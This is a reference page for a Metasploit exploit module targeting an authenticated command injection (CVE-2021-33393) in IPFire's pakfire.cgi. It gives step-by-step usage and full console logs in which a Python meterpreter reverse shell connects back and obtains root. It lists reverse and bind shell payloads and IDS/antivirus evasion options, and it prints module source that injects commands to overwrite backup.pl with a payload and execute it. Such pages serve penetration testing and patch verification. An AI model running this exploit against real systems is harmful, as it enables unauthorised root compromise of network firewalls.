IPFire 2.25 Core Update 156 and Prior pakfire.cgi Authenticated RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/ipfire_pakfire_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: IPFire 2.25 Core Update 156 and Prior pakfire.cgi Authenticated RCE
Module: exploit/linux/http/ipfire_pakfire_exec
Source code: modules/exploits/linux/http/ipfire_pakfire_exec.rb
Disclosure date: 2021-05-17
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: http, https
Target network port(s): 80, 443, 444, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-33393
This module exploits an authenticated command injection vulnerability in the /cgi-bin/pakfire.cgi web page of IPFire devices running versions 2.25 Core Update 156 and prior to execute arbitrary code as the root user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- config-changes: Module modifies some configuration setting on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/linux/http/ipfire_pakfire_exec
msf exploit(ipfire_pakfire_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
IPFire 2.25 (Core Update 156) IPFire 2.21 (Core Update 126)
This module exploits an authenticated command injection vulnerability in the
/cgi-bin/pakfire.cgi
web page of IPFire devices running versions 2.25 Core Update 156
and prior to execute arbitrary code as the root
user.
Verification Steps
- Start msfconsole
- Do:
use exploit/linux/http/ipfire_pakfire_exec
- Do:
set username <USERNAME OF THE ADMINISTRATIVE USER TO AUTHENTICATE TO THE WEB PORTAL AS>
- Do:
set password <PASSWORD FOR admin USER ON THE WEB PORTAL>
- Do:
set rhost <TARGET IP>
- Do:
set lhost <YOUR IP>
- Do:
exploit
- You should get a shell as the
root
user.
Options
USERNAME Username of the administrative user you are authenticating to the web portal as.
PASSWORD Password for the administrative user you are authenticating to the web portal as.
Scenarios
IPFire 2.21 (Core Update 126)
msf6 > use exploit/linux/http/ipfire_pakfire_exec
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(linux/http/ipfire_pakfire_exec) > show options
Module options (exploit/linux/http/ipfire_pakfire_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 444 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local ma
chine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes User to login with
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python Dropper
msf6 exploit(linux/http/ipfire_pakfire_exec) > set RHOSTS 172.29.202.191
RHOSTS => 172.29.202.191
msf6 exploit(linux/http/ipfire_pakfire_exec) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/ipfire_pakfire_exec) > set PASSWORD admin
PASSWORD => admin
msf6 exploit(linux/http/ipfire_pakfire_exec) > set LHOST 172.29.202.153
LHOST => 172.29.202.153
msf6 exploit(linux/http/ipfire_pakfire_exec) > exploit
[*] Started reverse TCP handler on 172.29.202.153:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Target is running IPFire 2.21 (Core Update 126)
[*] Backing up backup.pl to /tmp/1TiE8...
[*] Overwriting the contents of backup.pl with a Python header statement
[*] Appending the contents of backup.pl with the Python code to be executed.
[*] Executing /usr/local/bin/backupctrl to run the payload
[*] Sending stage (39392 bytes) to 172.29.202.191
[*] Meterpreter session 1 opened (172.29.202.153:4444 -> 172.29.202.191:38336) at 2021-06-08 14:05:41 -0500
[+] You should now have your shell, restoring the original contents of the backup.pl file...
[*] All done, enjoy the shells!
meterpreter > sysinfo
Computer : ipfire.localdomain
OS : Linux 4.14.86-ipfire #1 SMP Tue Dec 11 08:36:08 GMT 2018
Architecture : x64
Meterpreter : python/linux
meterpreter > getuid
Server username: root
meterpreter > shell
Process 28379 created.
Channel 1 created.
sh: cannot set terminal process group (27956): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.3# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.3#
IPFire 2.25 (Core Update 156)
msf6 > use exploit/linux/http/ipfire_pakfire_exec
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(linux/http/ipfire_pakfire_exec) > show options
Module options (exploit/linux/http/ipfire_pakfire_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 444 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local ma
chine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes User to login with
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python Dropper
msf6 exploit(linux/http/ipfire_pakfire_exec) > set RHOST 172.29.202.157
RHOST => 172.29.202.157
msf6 exploit(linux/http/ipfire_pakfire_exec) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/ipfire_pakfire_exec) > set PASSWORD admin
PASSWORD => admin
msf6 exploit(linux/http/ipfire_pakfire_exec) > set LHOST 172.29.202.153
LHOST => 172.29.202.153
msf6 exploit(linux/http/ipfire_pakfire_exec) > exploit
[*] Started reverse TCP handler on 172.29.202.153:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Target is running IPFire 2.25 (Core Update 156)
[*] Backing up backup.pl to /tmp/8Yndo...
[*] Overwriting the contents of backup.pl with a Python header statement
[*] Appending the contents of backup.pl with the Python code to be executed.
[*] Executing /usr/local/bin/backupctrl to run the payload
[*] Sending stage (39392 bytes) to 172.29.202.157
[*] Meterpreter session 1 opened (172.29.202.153:4444 -> 172.29.202.157:37192) at 2021-06-08 14:02:03 -0500
[+] You should now have your shell, restoring the original contents of the backup.pl file...
[*] All done, enjoy the shells!
meterpreter > sysinfo
Computer : ipfire.localdomain
OS : Linux 4.14.212-ipfire #1 SMP Tue May 4 09:02:54 GMT 2021
Architecture : x64
Meterpreter : python/linux
meterpreter > getuid
Server username: root
meterpreter > shell
Process 10179 created.
Channel 1 created.
sh: cannot set terminal process group (10136): Inappropriate ioctl for device
sh: no job control in this shell
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.0#
Go back to menu.
Msfconsole Usage
Here is how the linux/http/ipfire_pakfire_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/ipfire_pakfire_exec
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(linux/http/ipfire_pakfire_exec) > show info
Name: IPFire 2.25 Core Update 156 and Prior pakfire.cgi Authenticated RCE
Module: exploit/linux/http/ipfire_pakfire_exec
Platform: Python
Arch: python
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-05-17
Provided by:
M��cahit Saratar <[email protected]>
Grant Willcox
Module side effects:
config-changes
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Python Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 444 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes User to login with
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an authenticated command injection
vulnerability in the /cgi-bin/pakfire.cgi web page of IPFire devices
running versions 2.25 Core Update 156 and prior to execute arbitrary
code as the root user.
References:
https://www.exploit-db.com/exploits/49869
https://nvd.nist.gov/vuln/detail/CVE-2021-33393
https://github.com/MucahitSaratar/ipfire-2-25-auth-rce
https://www.youtube.com/watch?v=5FUXV7dfNjg
Module Options
This is a complete list of options available in the linux/http/ipfire_pakfire_exec exploit:
msf6 exploit(linux/http/ipfire_pakfire_exec) > show options
Module options (exploit/linux/http/ipfire_pakfire_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 444 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes User to login with
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/http/ipfire_pakfire_exec exploit:
msf6 exploit(linux/http/ipfire_pakfire_exec) > show advanced
Module advanced options (exploit/linux/http/ipfire_pakfire_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/ipfire_pakfire_exec module can exploit:
msf6 exploit(linux/http/ipfire_pakfire_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Python Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/ipfire_pakfire_exec exploit:
msf6 exploit(linux/http/ipfire_pakfire_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/pingback_bind_tcp normal No Python Pingback, Bind TCP (via python)
17 payload/python/pingback_reverse_tcp normal No Python Pingback, Reverse TCP (via python)
18 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
19 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
20 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
21 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/ipfire_pakfire_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/ipfire_pakfire_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- No response from the target!
- Invalid credentials supplied! Check USERNAME and PASSWORD options!
- Target is not IPFire
- Target is running IPFire <VERSION> (Core Update <CORE>)
- Target is running IPFire <VERSION> (Core Update <CORE>)
- <PEER> disconnected whilst trying to back up backup.pl!
- <PEER> disconnected whilst trying to overwrite backup.pl!
- <PEER> disconnected whilst trying to append to backup.pl!
- Something went wrong, the server should not respond after we execute the payload.
- <PEER> disconnected whilst trying to restore backup.pl!
- <PEER> - Could not connect to the web service
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No response from the target!
Here is a relevant code snippet related to the "No response from the target!" error message:
100: end
101:
102: def check
103: cevap = send_packet('GET', '', 10)
104: if cevap.nil? || cevap.body.empty?
105: return CheckCode::Unknown('No response from the target!')
106: end
107:
108: unless cevap.body.scan(/401 Unauthorized/).empty?
109: return CheckCode::Unknown('Invalid credentials supplied! Check USERNAME and PASSWORD options!')
110: end
Invalid credentials supplied! Check USERNAME and PASSWORD options!
Here is a relevant code snippet related to the "Invalid credentials supplied! Check USERNAME and PASSWORD options!" error message:
104: if cevap.nil? || cevap.body.empty?
105: return CheckCode::Unknown('No response from the target!')
106: end
107:
108: unless cevap.body.scan(/401 Unauthorized/).empty?
109: return CheckCode::Unknown('Invalid credentials supplied! Check USERNAME and PASSWORD options!')
110: end
111:
112: version = cevap.body.scan(/IPFire (.*) \(.*\) - Core Update [0-9]{3}/).flatten[0] || ''
113: core = cevap.body.scan(/IPFire .* \(.*\) - Core Update (.*)/).flatten[0] || ''
114: unless version
Target is not IPFire
Here is a relevant code snippet related to the "Target is not IPFire" error message:
110: end
111:
112: version = cevap.body.scan(/IPFire (.*) \(.*\) - Core Update [0-9]{3}/).flatten[0] || ''
113: core = cevap.body.scan(/IPFire .* \(.*\) - Core Update (.*)/).flatten[0] || ''
114: unless version
115: return CheckCode::Safe('Target is not IPFire')
116: end
117: if core.to_i >= 157
118: return CheckCode::Safe("Target is running IPFire #{version} (Core Update #{core})")
119: end
120:
Target is running IPFire <VERSION> (Core Update <CORE>)
Here is a relevant code snippet related to the "Target is running IPFire <VERSION> (Core Update <CORE>)" error message:
113: core = cevap.body.scan(/IPFire .* \(.*\) - Core Update (.*)/).flatten[0] || ''
114: unless version
115: return CheckCode::Safe('Target is not IPFire')
116: end
117: if core.to_i >= 157
118: return CheckCode::Safe("Target is running IPFire #{version} (Core Update #{core})")
119: end
120:
121: CheckCode::Appears("Target is running IPFire #{version} (Core Update #{core})")
122: end
123:
Target is running IPFire <VERSION> (Core Update <CORE>)
Here is a relevant code snippet related to the "Target is running IPFire <VERSION> (Core Update <CORE>)" error message:
116: end
117: if core.to_i >= 157
118: return CheckCode::Safe("Target is running IPFire #{version} (Core Update #{core})")
119: end
120:
121: CheckCode::Appears("Target is running IPFire #{version} (Core Update #{core})")
122: end
123:
124: def exploit
125: temp_backup_file = Rex::Text.rand_text_alphanumeric(5, 30)
126: print_status("Backing up backup.pl to /tmp/#{temp_backup_file}...")
<PEER> disconnected whilst trying to back up backup.pl!
Here is a relevant code snippet related to the "<PEER> disconnected whilst trying to back up backup.pl!" error message:
123:
124: def exploit
125: temp_backup_file = Rex::Text.rand_text_alphanumeric(5, 30)
126: print_status("Backing up backup.pl to /tmp/#{temp_backup_file}...")
127: if send_packet('POST', "cp /var/ipfire/backup/bin/backup.pl /tmp/#{temp_backup_file}", 1).nil?
128: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to back up backup.pl!")
129: end
130:
131: print_status('Overwriting the contents of backup.pl with a Python header statement')
132: if send_packet('POST', 'echo "#!/usr/bin/python" > /var/ipfire/backup/bin/backup.pl', 1).nil?
133: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to overwrite backup.pl!")
<PEER> disconnected whilst trying to overwrite backup.pl!
Here is a relevant code snippet related to the "<PEER> disconnected whilst trying to overwrite backup.pl!" error message:
128: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to back up backup.pl!")
129: end
130:
131: print_status('Overwriting the contents of backup.pl with a Python header statement')
132: if send_packet('POST', 'echo "#!/usr/bin/python" > /var/ipfire/backup/bin/backup.pl', 1).nil?
133: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to overwrite backup.pl!")
134: end
135:
136: print_status('Appending the contents of backup.pl with the Python code to be executed.')
137: if send_packet('POST', "echo \"#{payload.encoded}\" >> /var/ipfire/backup/bin/backup.pl", 1).nil?
138: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to append to backup.pl!")
<PEER> disconnected whilst trying to append to backup.pl!
Here is a relevant code snippet related to the "<PEER> disconnected whilst trying to append to backup.pl!" error message:
133: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to overwrite backup.pl!")
134: end
135:
136: print_status('Appending the contents of backup.pl with the Python code to be executed.')
137: if send_packet('POST', "echo \"#{payload.encoded}\" >> /var/ipfire/backup/bin/backup.pl", 1).nil?
138: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to append to backup.pl!")
139: end
140:
141: print_status('Executing /usr/local/bin/backupctrl to run the payload')
142: unless send_packet('POST', '/usr/local/bin/backupctrl', 1).nil?
143: fail_with(Failure::UnexpectedReply, 'Something went wrong, the server should not respond after we execute the payload.')
Something went wrong, the server should not respond after we execute the payload.
Here is a relevant code snippet related to the "Something went wrong, the server should not respond after we execute the payload." error message:
138: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to append to backup.pl!")
139: end
140:
141: print_status('Executing /usr/local/bin/backupctrl to run the payload')
142: unless send_packet('POST', '/usr/local/bin/backupctrl', 1).nil?
143: fail_with(Failure::UnexpectedReply, 'Something went wrong, the server should not respond after we execute the payload.')
144: end
145:
146: print_good('You should now have your shell, restoring the original contents of the backup.pl file...')
147: if send_packet('POST', "cp /tmp/#{temp_backup_file} /var/ipfire/backup/bin/backup.pl", 20).nil?
148: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to restore backup.pl!")
<PEER> disconnected whilst trying to restore backup.pl!
Here is a relevant code snippet related to the "<PEER> disconnected whilst trying to restore backup.pl!" error message:
143: fail_with(Failure::UnexpectedReply, 'Something went wrong, the server should not respond after we execute the payload.')
144: end
145:
146: print_good('You should now have your shell, restoring the original contents of the backup.pl file...')
147: if send_packet('POST', "cp /tmp/#{temp_backup_file} /var/ipfire/backup/bin/backup.pl", 20).nil?
148: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to restore backup.pl!")
149: end
150:
151: print_status('All done, enjoy the shells!')
152: rescue ::Rex::ConnectionError
153: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
145:
146: print_good('You should now have your shell, restoring the original contents of the backup.pl file...')
147: if send_packet('POST', "cp /tmp/#{temp_backup_file} /var/ipfire/backup/bin/backup.pl", 20).nil?
148: fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to restore backup.pl!")
149: end
150:
151: print_status('All done, enjoy the shells!')
152: rescue ::Rex::ConnectionError
153: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
154: end
155: end
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- EDB-49869
- CVE-2021-33393
- https://github.com/MucahitSaratar/ipfire-2-25-auth-rce
- https://www.youtube.com/watch?v=5FUXV7dfNjg
See Also
Check also the following modules related to this module:
- exploit/linux/http/ipfire_bashbug_exec
- exploit/linux/http/ipfire_oinkcode_exec
- exploit/linux/http/ipfire_proxy_exec
Authors
- Mücahit Saratar <[email protected]>
- Grant Willcox
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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